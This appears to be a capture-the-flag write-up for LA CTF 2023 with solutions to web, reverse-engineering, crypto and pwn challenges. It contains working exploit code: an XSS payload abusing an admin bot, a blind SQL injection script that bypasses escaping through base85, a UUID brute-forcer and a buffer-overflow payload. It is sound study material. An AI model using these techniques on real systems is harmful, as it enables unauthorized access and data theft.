Contents

LA CTF 2023 wp

web

metaverse

core codes

const flag = process.env.FLAG;
accounts.set("admin", {
    password: adminpw,
    displayName: flag,
    posts: [],
    friends: [],
});

app.get("/post/:id", (req, res) => {
    if (posts.has(req.params.id)) {
        res.type("text/html").send(postTemplate.replace("$CONTENT", () => posts.get(req.params.id)));
    } else {
        res.status(400).type("text/html").send(postTemplate.replace("$CONTENT", "post not found :("));
    }
});

app.post("/friend", needsAuth, (req, res) => {
    res.type("text/plain");
    const username = req.body.username.trim();
    if (!accounts.has(username)) {
        res.status(400).send("Metauser doesn't metaexist");
    } else {
        const user = accounts.get(username);
        if (user.friends.includes(res.locals.user)) {
            res.status(400).send("Already metafriended");
        } else {
            user.friends.push(res.locals.user);
            res.status(200).send("ok");
        }
    }
});

app.get("/friends", needsAuth, (req, res) => {
    res.type("application/json");
    res.send(
        JSON.stringify(
            accounts
                .get(res.locals.user)
                .friends.filter((username) => accounts.has(username))
                .map((username) => ({
                    username,
                    displayName: accounts.get(username).displayName,
                }))
        )
    );
});

analyze

From the attachment, we know that the flag has been set to admin.displayName, and /friends api will return that to us. So, to get flag, we could just add admin into our friends list to get flag.

To add admin as a friend, we need to make the admin bot to post /friend with username={your_username}. Fortunately, this chall has no CSP and replace the template directly in the backend, so we could xss we want.

exp

<script>
fetch("/friend", {
    method: "POST",
    body: "username=kdxcxs",
    headers: {"Content-Type": "application/x-www-form-urlencoded"}
})
</script>

https://pics.kdxcxs.com:4433/images/2023/02/13/20230213002558.png

uuid hell

core codes

function randomUUID() {
    return uuid.v1({'node': [0x67, 0x69, 0x6E, 0x6B, 0x6F, 0x69], 'clockseq': 0b10101001100100});
}
let adminuuids = []
let useruuids = []
function isAdmin(uuid) {
    return adminuuids.includes(uuid);
}

function getUsers() {
    adminuuids.forEach((adminuuid) => {
        const hash = crypto.createHash('md5').update("admin" + adminuuid).digest("hex");
        output += `<tr><td>${hash}</td></tr>\n`;
    });
}

app.use(cookieParser());

app.get('/', (req, res) => {
    let id = req.cookies['id'];
    if (id === undefined || !isUuid(id)) {
        id = randomUUID();
        res.cookie("id", id);
        useruuids.push(id);
    } else if (isAdmin(id)) {
        res.send(process.env.FLAG);
        return;
    }
    res.send("You are logged in as " + id + "<br><br>" + getUsers());
});

app.listen(process.env.PORT);

analyze

This chall uses RFC version 1 UUID, which is based on timestamp, just brute force with the time in HTTP response header.

exp

const uuid = require('uuid');
const crypto = require('crypto');
const { exit } = require('process');

const admins = ["acc34341de9e8ecaf49bde6f4d377498", "44e05669e6d782bbceb1c2af749ad9a7", "a25924ba56e8de078023487cea57649f", "cc3c65cd168ac099f06cc4d8d7058b93", "be75ab63cc0711b2fcb330c8e02f3b5c", "86c33f0187a7e16a0144deb0e9dea0fd", "de18900cea7125e711b7ecd28f4aef7d", "8a0744d41363a15c1834a07a40edf9e7", "932a89d2530dbefdbe7db8b207126b0c", "36693e0c3fba8d34df060b0008c3ec2e", "9f010d760701eda8df542546384c7ee3", "6148146163542db0fd052daa298fd980", "6e151ce35e80147569a21913ca36a684", "e398baaf1c29e501bfeffce7ee96645f", "c38e234b7773a56cff846b54df6dda2a", "da8811d9364417bcbaa19876ab0b76af", "13abb3d1523abe9a69303b2c2410aae5", "f0e1a25eacdc68702dd6621c3d96792e", "db5c79176bc9c06bb63de21f9de61196", "6f6380d12b3212dad6ae1d6eab2428f7", "67e22eba9e7a767a56ebeb2ef9a51793", "c78405653cf1cee08d8e984fe359617a", "5ec8a3e769e8e62907772e2288a65e7a", "c9637274b6df2956dab7574dbce5bbd1", "04ea690ff631297a1516760efdce2d29", "e4bc0be5fa23ffaf34b2b5b47abcb20d", "93e6d2d0c2c4d1c39d7be74b909f745c", "e8bdec2e9eb47e7c5a5e7fdb908725e0", "fab90a3c7fb0a17215a7fdacdf522b75", "9792994ef843f1e738b8ca1468d06d3c", "1b746886e29133aa625ad8745a6dc7fe", "f3bac60c5db60077fd792347fe346264", "410234c157ebb2c86aa3429ea6d9b256", "d40f5c991f4cfc784445706d98e49f25", "a1b0955a10c378809af242d6be1befef", "6e4bca31428725a7c4a7ab60eb48295b", "0d701224593dba4fa798c3dad30f1c6e", "230726e9cb4e682a68cb127a398d6183", "e62c8b91bfca85c4b4dbd326c278b476", "5d202fb5a911fb0515095c7f7bab6006", "b898cedb82d1b6246b8c93777f1d4763", "28b96b3734378e3eed7d865f67ba8b4a", "d1db28991e78aa91c0ff916d256419ba", "d085e95d4db445c21d625ae756b42179", "19da3595ed8473e6b6865399a41a3884", "7a8f2de208b00f839bc1f5e15bbf2414", "bf7c76d66ca97e4b7e7630c62e371a6c", "ae508185f3bd13b94bb1e71ead61fec5", "11bf215620d852bcb210b9170cfb66a3", "ecbf6024407f437590ca2a2ddc0982e1"];
let msecs = new Date('Sat, 11 Feb 2023 14:35:54 GMT').getTime();

while (true) {
    for (let nsecs = 0; nsecs < 10000; nsecs++) {
        const id = uuid.v1({ msecs, nsecs, 'node': [0x67, 0x69, 0x6E, 0x6B, 0x6F, 0x69], 'clockseq': 0b10101001100100 });
        const hash = crypto.createHash('md5').update("admin" + id).digest("hex");
        if (admins.includes(hash)) {
            console.log(id);
            exit(0);
        }
    }
    msecs -= 1;
}

85_reasons_why

core codes

@app.route('/image-search', methods=['GET', 'POST'])
def image_search():
    if 'image-query' not in request.files or request.method == 'GET':
        return render_template('image-search.html', results=[])
    incoming_file = request.files['image-query']
    size = os.fstat(incoming_file.fileno()).st_size
    if size > MAX_IMAGE_SIZE:
        flash("image is too large (50kb max)");
        return redirect(url_for('home'))
    spic = serialize_image(incoming_file.read())
    try:
        res = db.session.connection().execute(\
            text("select parent as PID from images where b85_image = '{}' AND ((select active from posts where id=PID) = TRUE)".format(spic)))
    except Exception as e:
        return ("SQL error encountered", 500)
    results = []
    for row in res:
        post = db.session.query(Post).get(row[0])
        if (post not in results):
            results.append(post)
    return render_template('image-search.html', results=results)

def serialize_image(pp):
    b85 = base64.a85encode(pp)
    b85_string = b85.decode('UTF-8', 'ignore')

    # identify single quotes, and then escape them
    b85_string = re.sub('\\\\\\\\\\\\\'', '~', b85_string)
    b85_string = re.sub('\'', '\'\'', b85_string)
    b85_string = re.sub('~', '\'', b85_string)

    b85_string = re.sub('\\:', '~', b85_string)
    return b85_string

analyze

This chall is based on sqlalchemy, but for /image-search route, we can find a sqli in app/views.py:71. From the code, we can tell that the payload is sent as a file and been processed by serialize_image() before it’s injected into sql.

serialize_image

The function first encodes the payload into base85(aka, ascii85), then decodes it as utf8, and replaces some strings before return.

For the first step, we could bypass it by decoding payload as base85 before sending to the server. As a result, the chars we could make of is limited in !-uascii 33-117, also, to avoid getting ValueError: Ascii85 overflow, we should use upper case letters as we can.

For the str replacing part, it’s obvious that \\\\\\' will finally be replaced with ', so we can just using \\\\\\' as '.

sqli

/image-search renders post infos with the id selected in sql, so I plan to write a bool sqli script. But with sqlite as db, functions we can use is also limited. I ended up using LIKE keyword to check if the char is correct. Also, because of base85, we just could not concat str like "kdx"||"cxs", I used PRINTF instead.

exp

import requests, io, base64

endpoint = 'https://85-reasons-why.lac.tf'

i = 1
while True:
    left = 0
    right = 255
    while right - left > 1:
        mid = left + (right - left) // 2
        injection = f'\' UNION SELECT (CASE WHEN(SELECT 1 WHERE "{",".join([hex(c)[2:] for c in range(left, mid)])}" LIKE PRINTF("%%%s%%",HEX(SUBSTR((SELECT GROUP_CONCAT(id) FROM POSTS WHERE ACTIVE=0),{i},1)))) THEN "c32c1a0b-8382-43f6-ae06-4ba91c29fe89" ELSE "" END)--aaa'
        payload = injection.replace(' ', '/**/').replace("'", "\\\\\\'")
        payload = base64.a85decode(payload.encode())
        r = requests.post(f'{endpoint}/image-search', files=[('image-query', ('exp', io.BytesIO(payload)))])
        if '<p>Author: Anonymous Writer</p>' in r.text:
            right = mid
        else:
            left = mid
    if left >= 1:
        i += 1
        print(chr(left), end='')
        continue
    break

# flag at https://85-reasons-why.lac.tf/posts?post_id=be734534-dd06-4695-8b9e-84e8572f6496

misc

new-challenge

core codes

declare -A LACTF_CHALL_WRITERS
LACTF_CHALL_WRITERS["Benson Liu"]="bensonhliu@lac.tf"

HAS_BLIUTECH_COMMIT=false

while read oldrev newrev refname; do
  if echo "$oldrev" | grep -Eq '^0+$'; then
      commits=$(git rev-list $newrev --not --branches=*)
  else
      commits=$(git rev-list ${oldrev}..${newrev})
  fi
  for commit in $commits; do
    # access control: only allow LA CTF challenge writers
    name_email=("$(git show $commit --pretty=format:'%an' | sed '1!d')" "$(git show $commit --pretty=format:'%ae' | sed '1!d')")
    if [ "${LACTF_CHALL_WRITERS["${name_email[0]}"]}" != "${name_email[1]}" ]
    then
      echo >&2 "error: not an LA CTF challenge writer"
      exit 1
    fi
    if [ "${name_email[0]}" == "Benson Liu" ]
    then
      HAS_BLIUTECH_COMMIT=true
    fi
  done
done

if $HAS_BLIUTECH_COMMIT
then
  echo $FLAG
fi

analyze

When the git receives a push request, it will check if the push contains commit from Benson Liu, if so, it prints flag. So just setting user config in git before commiting solves the chall 😎.

exp

https://pics.kdxcxs.com:4433/images/2023/02/13/20230213014210.png

rev

string-cheese

Just throw into ida

https://pics.kdxcxs.com:4433/images/2023/02/13/20230213014507.png

caterpillar

Full of -~-~-~-~-~-~

https://pics.kdxcxs.com:4433/images/2023/02/13/20230213014733.png

It’s easy to find that the number of -~ is the result of the whole (-~)+\[\] expression, so I converted all of that:

https://pics.kdxcxs.com:4433/images/2023/02/13/20230213015018.png

And then just restore the flag:

const flag = [..."lactf{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}"];
flag[17] = String.fromCharCode(108);
flag[43] = String.fromCharCode(95);
flag[21] = String.fromCharCode(108);
flag[2] = String.fromCharCode(99);
flag[46] = String.fromCharCode(52);
flag[7] = String.fromCharCode(104);
flag[42] = String.fromCharCode(51);
flag[18] = String.fromCharCode(49);
flag[50] = String.fromCharCode(103);
flag[31] = String.fromCharCode(108);
flag[39] = String.fromCharCode(95);
flag[27] = String.fromCharCode(51);
flag[19] = String.fromCharCode(116);
flag[4] = String.fromCharCode(102);
flag[25] = String.fromCharCode(52);
flag[11] = String.fromCharCode(117);
flag[1] = String.fromCharCode(97);
flag[47] = String.fromCharCode(103);
flag[14] = String.fromCharCode(114);
flag[10] = String.fromCharCode(104);
flag[36] = String.fromCharCode(97);
flag[54] = String.fromCharCode(125);
flag[33] = String.fromCharCode(52);
flag[41] = String.fromCharCode(104);
flag[20] = String.fromCharCode(116);
flag[12] = String.fromCharCode(110);
flag[3] = String.fromCharCode(116);
flag[13] = String.fromCharCode(103);
flag[52] = String.fromCharCode(49);
flag[26] = String.fromCharCode(116);
flag[44] = String.fromCharCode(102);
flag[29] = String.fromCharCode(112);
flag[38] = String.fromCharCode(51);
flag[8] = String.fromCharCode(51);
flag[35] = String.fromCharCode(95);
flag[53] = String.fromCharCode(110);
flag[16] = String.fromCharCode(95);
flag[37] = String.fromCharCode(116);
flag[9] = String.fromCharCode(95);
flag[28] = String.fromCharCode(114);
flag[22] = String.fromCharCode(51);
flag[15] = String.fromCharCode(121);
flag[32] = String.fromCharCode(108);
flag[23] = String.fromCharCode(95);
flag[49] = String.fromCharCode(52);
flag[51] = String.fromCharCode(52);
flag[48] = String.fromCharCode(95);
flag[45] = String.fromCharCode(108);
flag[6] = String.fromCharCode(116);
flag[30] = String.fromCharCode(49);
flag[40] = String.fromCharCode(116);
flag[34] = String.fromCharCode(114);
flag[24] = String.fromCharCode(99);
flag[5] = String.fromCharCode(123);
console.log(flag.join(''));
// lactf{th3_hungry_l1ttl3_c4t3rp1ll4r_at3_th3_fl4g_4g41n}

finals-simulator

IDA disassembly:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-114h] BYREF
  char s[264]; // [rsp+10h] [rbp-110h] BYREF
  char *i; // [rsp+118h] [rbp-8h]

  puts("Welcome to Finals Simulator 2023: Math Edition!");
  printf("Question #1: What is sin(x)/n? ");
  fflush(stdout);
  fgets(s, 256, stdin);
  s[strcspn(s, "\n")] = 0;
  if ( !strcmp(s, "six") )
  {
    printf("Question #2: What's the prettiest number? ");
    fflush(stdout);
    __isoc99_scanf("%d", &v4);
    if ( 42 * (v4 + 88) == 561599850 )
    {
      printf("Question #3: What's the integral of 1/cabin dcabin? ");
      fflush(stdout);
      getchar();
      fgets(s, 256, stdin);
      s[strcspn(s, "\n")] = 0;
      for ( i = s; *i; ++i )
        *i = 17 * *i % mod;
      putchar(10);
      if ( !strcmp(s, &enc) )
      {
        puts("Wow! A 100%! You must be really good at math! Here, have a flag as a reward.");
        print_flag();
      }
      else
      {
        puts("Wrong! You failed.");
      }
      return 0;
    }
    else
    {
      puts("Wrong! You failed.");
      return 0;
    }
  }
  else
  {
    puts("Wrong! You failed.");
    return 0;
  }
}

exp:

from pwn import *

context.log_level = 'debug'

p = remote('lac.tf', 31132)

def re(e):
    for i in range(0x100):
        if 17 * i % 0xfd == e:
            return i

enc = [0x0E, 0xC9, 0x9D, 0xB8, 0x26, 0x83, 0x26, 0x41, 0x74, 0xE9, 0x26, 0xA5, 0x83, 0x94, 0x0E, 0x63, 0x37, 0x37, 0x37]
res = bytes([re(e) for e in enc])

p.sendlineafter(b'Question #1: What is sin(x)/n? ', b'six')
p.sendlineafter(b'Question #2: What\'s the prettiest number? ', str(561599850 // 42 - 88).encode())
p.sendlineafter(b'Question #3: What\'s the integral of 1/cabin dcabin? ', res)
print(p.recv())

universal

Disassembly class file:

import java.nio.charset.Charset;
import java.util.Scanner;

class FlagChecker {

   public static void main(String[] var0) {
      System.out.print("What\'s the flag? ");
      System.out.flush();
      Scanner var1 = new Scanner(System.in);
      String var2 = var1.nextLine();
      var1.close();
      byte[] var3 = var2.getBytes(Charset.forName("UTF-8"));
      if(var3.length == 38 && ((var3[34] ^ var3[23] * 7 ^ ~var3[36] + 13) & 255) == 182 && ((var3[37] ^ var3[10] * 7 ^ ~var3[21] + 13) & 255) == 223 && ((var3[24] ^ var3[23] * 7 ^ ~var3[19] + 13) & 255) == 205 && ((var3[25] ^ var3[13] * 7 ^ ~var3[23] + 13) & 255) == 144 && ((var3[6] ^ var3[27] * 7 ^ ~var3[25] + 13) & 255) == 138 && ((var3[4] ^ var3[32] * 7 ^ ~var3[22] + 13) & 255) == 227 && ((var3[25] ^ var3[19] * 7 ^ ~var3[1] + 13) & 255) == 107 && ((var3[22] ^ var3[7] * 7 ^ ~var3[29] + 13) & 255) == 85 && ((var3[15] ^ var3[10] * 7 ^ ~var3[20] + 13) & 255) == 188 && ((var3[29] ^ var3[16] * 7 ^ ~var3[12] + 13) & 255) == 88 && ((var3[35] ^ var3[4] * 7 ^ ~var3[33] + 13) & 255) == 84 && ((var3[36] ^ var3[2] * 7 ^ ~var3[4] + 13) & 255) == 103 && ((var3[26] ^ var3[3] * 7 ^ ~var3[1] + 13) & 255) == 216 && ((var3[12] ^ var3[6] * 7 ^ ~var3[18] + 13) & 255) == 165 && ((var3[12] ^ var3[28] * 7 ^ ~var3[36] + 13) & 255) == 151 && ((var3[20] ^ var3[0] * 7 ^ ~var3[21] + 13) & 255) == 101 && ((var3[27] ^ var3[36] * 7 ^ ~var3[14] + 13) & 255) == 248 && ((var3[35] ^ var3[2] * 7 ^ ~var3[19] + 13) & 255) == 44 && ((var3[13] ^ var3[11] * 7 ^ ~var3[33] + 13) & 255) == 242 && ((var3[33] ^ var3[11] * 7 ^ ~var3[3] + 13) & 255) == 235 && ((var3[31] ^ var3[37] * 7 ^ ~var3[29] + 13) & 255) == 248 && ((var3[1] ^ var3[33] * 7 ^ ~var3[31] + 13) & 255) == 33 && ((var3[34] ^ var3[22] * 7 ^ ~var3[35] + 13) & 255) == 84 && ((var3[36] ^ var3[16] * 7 ^ ~var3[4] + 13) & 255) == 75 && ((var3[8] ^ var3[3] * 7 ^ ~var3[10] + 13) & 255) == 214 && ((var3[20] ^ var3[5] * 7 ^ ~var3[12] + 13) & 255) == 193 && ((var3[28] ^ var3[34] * 7 ^ ~var3[16] + 13) & 255) == 210 && ((var3[3] ^ var3[35] * 7 ^ ~var3[9] + 13) & 255) == 205 && ((var3[27] ^ var3[22] * 7 ^ ~var3[2] + 13) & 255) == 46 && ((var3[27] ^ var3[18] * 7 ^ ~var3[9] + 13) & 255) == 54 && ((var3[3] ^ var3[29] * 7 ^ ~var3[22] + 13) & 255) == 32 && ((var3[24] ^ var3[4] * 7 ^ ~var3[13] + 13) & 255) == 99 && ((var3[22] ^ var3[16] * 7 ^ ~var3[13] + 13) & 255) == 108 && ((var3[12] ^ var3[8] * 7 ^ ~var3[30] + 13) & 255) == 117 && ((var3[25] ^ var3[27] * 7 ^ ~var3[35] + 13) & 255) == 146 && ((var3[16] ^ var3[10] * 7 ^ ~var3[14] + 13) & 255) == 250 && ((var3[21] ^ var3[25] * 7 ^ ~var3[12] + 13) & 255) == 195 && ((var3[26] ^ var3[10] * 7 ^ ~var3[30] + 13) & 255) == 203 && ((var3[20] ^ var3[2] * 7 ^ ~var3[1] + 13) & 255) == 47 && ((var3[34] ^ var3[12] * 7 ^ ~var3[27] + 13) & 255) == 121 && ((var3[19] ^ var3[34] * 7 ^ ~var3[20] + 13) & 255) == 246 && ((var3[25] ^ var3[22] * 7 ^ ~var3[14] + 13) & 255) == 61 && ((var3[19] ^ var3[28] * 7 ^ ~var3[37] + 13) & 255) == 189 && ((var3[24] ^ var3[9] * 7 ^ ~var3[17] + 13) & 255) == 185) {
         System.out.println("Correct!");
      } else {
         System.out.println("Not quite...");
      }
   }
}

exp:

from z3 import *

solver = Solver()

exec(f'{",".join(["var" + str(v) for v in range(38)])} = BitVecs("{" ".join(["var" + str(v) for v in range(38)])}",8)')

solver.add(((var34 ^ var23 * 7 ^ ~var36 + 13) & 255) == 182)
solver.add(((var37 ^ var10 * 7 ^ ~var21 + 13) & 255) == 223)
solver.add(((var24 ^ var23 * 7 ^ ~var19 + 13) & 255) == 205)
solver.add(((var25 ^ var13 * 7 ^ ~var23 + 13) & 255) == 144)
solver.add(((var6 ^ var27 * 7 ^ ~var25 + 13) & 255) == 138)
solver.add(((var4 ^ var32 * 7 ^ ~var22 + 13) & 255) == 227)
solver.add(((var25 ^ var19 * 7 ^ ~var1 + 13) & 255) == 107)
solver.add(((var22 ^ var7 * 7 ^ ~var29 + 13) & 255) == 85)
solver.add(((var15 ^ var10 * 7 ^ ~var20 + 13) & 255) == 188)
solver.add(((var29 ^ var16 * 7 ^ ~var12 + 13) & 255) == 88)
solver.add(((var35 ^ var4 * 7 ^ ~var33 + 13) & 255) == 84)
solver.add(((var36 ^ var2 * 7 ^ ~var4 + 13) & 255) == 103)
solver.add(((var26 ^ var3 * 7 ^ ~var1 + 13) & 255) == 216)
solver.add(((var12 ^ var6 * 7 ^ ~var18 + 13) & 255) == 165)
solver.add(((var12 ^ var28 * 7 ^ ~var36 + 13) & 255) == 151)
solver.add(((var20 ^ var0 * 7 ^ ~var21 + 13) & 255) == 101)
solver.add(((var27 ^ var36 * 7 ^ ~var14 + 13) & 255) == 248)
solver.add(((var35 ^ var2 * 7 ^ ~var19 + 13) & 255) == 44)
solver.add(((var13 ^ var11 * 7 ^ ~var33 + 13) & 255) == 242)
solver.add(((var33 ^ var11 * 7 ^ ~var3 + 13) & 255) == 235)
solver.add(((var31 ^ var37 * 7 ^ ~var29 + 13) & 255) == 248)
solver.add(((var1 ^ var33 * 7 ^ ~var31 + 13) & 255) == 33)
solver.add(((var34 ^ var22 * 7 ^ ~var35 + 13) & 255) == 84)
solver.add(((var36 ^ var16 * 7 ^ ~var4 + 13) & 255) == 75)
solver.add(((var8 ^ var3 * 7 ^ ~var10 + 13) & 255) == 214)
solver.add(((var20 ^ var5 * 7 ^ ~var12 + 13) & 255) == 193)
solver.add(((var28 ^ var34 * 7 ^ ~var16 + 13) & 255) == 210)
solver.add(((var3 ^ var35 * 7 ^ ~var9 + 13) & 255) == 205)
solver.add(((var27 ^ var22 * 7 ^ ~var2 + 13) & 255) == 46)
solver.add(((var27 ^ var18 * 7 ^ ~var9 + 13) & 255) == 54)
solver.add(((var3 ^ var29 * 7 ^ ~var22 + 13) & 255) == 32)
solver.add(((var24 ^ var4 * 7 ^ ~var13 + 13) & 255) == 99)
solver.add(((var22 ^ var16 * 7 ^ ~var13 + 13) & 255) == 108)
solver.add(((var12 ^ var8 * 7 ^ ~var30 + 13) & 255) == 117)
solver.add(((var25 ^ var27 * 7 ^ ~var35 + 13) & 255) == 146)
solver.add(((var16 ^ var10 * 7 ^ ~var14 + 13) & 255) == 250)
solver.add(((var21 ^ var25 * 7 ^ ~var12 + 13) & 255) == 195)
solver.add(((var26 ^ var10 * 7 ^ ~var30 + 13) & 255) == 203)
solver.add(((var20 ^ var2 * 7 ^ ~var1 + 13) & 255) == 47)
solver.add(((var34 ^ var12 * 7 ^ ~var27 + 13) & 255) == 121)
solver.add(((var19 ^ var34 * 7 ^ ~var20 + 13) & 255) == 246)
solver.add(((var25 ^ var22 * 7 ^ ~var14 + 13) & 255) == 61)
solver.add(((var19 ^ var28 * 7 ^ ~var37 + 13) & 255) == 189)
solver.add(((var24 ^ var9 * 7 ^ ~var17 + 13) & 255) == 185)

if solver.check() == sat:
    m = solver.model()
    print(''.join([chr(eval(f'm[var{i}]').as_long()) for i in range(38)]))

crypto

one-more-time-pad

Just xor back:

pt = b"Long ago, the four nations lived together in harmony ..."
ct = "200e0d13461a055b4e592b0054543902462d1000042b045f1c407f18581b56194c150c13030f0a5110593606111c3e1f5e305e174571431e"

for i in range(len(pt)):
    print(chr(pt[i] ^ int(ct[2*i:2*(i+1)], 16)), end='')

rolling in the mud

https://pics.kdxcxs.com:4433/images/2023/02/13/20230213015902.png

pwn

gatekeep

https://pics.kdxcxs.com:4433/images/2023/02/13/20230213020235.png

from pwn import *

context.log_level = 'debug'

# p = process('./gatekeep')
p=remote('lac.tf', 31121)

p.sendlineafter(b'Password:\n', p64(0x00005555555551d5) * 40)
p.interactive()